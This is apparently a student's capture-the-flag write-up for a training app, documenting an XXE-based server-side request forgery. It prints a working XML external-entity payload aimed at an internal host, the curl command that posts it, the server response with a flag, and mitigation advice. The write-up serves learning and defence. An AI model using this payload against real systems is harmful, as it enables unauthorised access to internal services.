Kalle Jalkanen AB8822
time used: 0,5 hours

Old wasdat - XML External Entity SSRF version

Description

Attacker can manipulate the server into making requests to internal resources via XXE. In this case get access to http://missile-control:6666/launch-the-missiles.

Steps to produce

Make custom XML payload and save it in .xml format.

```
  GNU nano 7.2                                                  test.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE search [
    <!ELEMENT search ANY>
    <!ENTITY xxe SYSTEM "http://missile-control:6666/launch-the-missiles">
]>
<search>&xxe;</search>
```

In shell send that payload to http://wasdat.fi:8080/api/articles/custom-search whit curl ‘ curl -i -X POST http://wasdat.fi:8080/api/articles/custom-search -H "Content-Type: text/xml" --data "@test.xml" ‘

```
┌──(kali㉿kali-vle)-[~/a10]
└─$ curl -i -X POST http://wasdat.fi:8080/api/articles/custom-search -H "Content-Type: text/xlm" --data "@test.xml"
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Tue, 14 Nov 2023 08:34:23 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 238
Connection: keep-alive
Access-Control-Allow-Origin: http://0.0.0.0:4000
Vary: Origin
Access-Control-Allow-Origin: *

<?xml version="1.0" ?><search/><search/>Launch the missiles complete!

WasFlag5_2{AchievementUnlocked_LaunchTheMissilesWithXXESSRF}

See also. https://stackoverflow.com/questions/2773004/what-is-the-origin-of-launch-the-missiles
<search/>
```

Impact estimation

High severity. With this attacker can get company’s internal information or even launch these missiles.

Mitigation

If possible, use less complex data format like JSON. If not update XML libraries and disable the processing of external entities in the XML parser's configuration. More information about XXE and how to prevent it on https://cybertrends-indusface.medium.com/how-to-identify-and-mitigate-xxe-vulnerabilities-a0ff56acaa07. And what comes for SSRF isolate critical systems from public-facing servers to minimize the risk of attacks.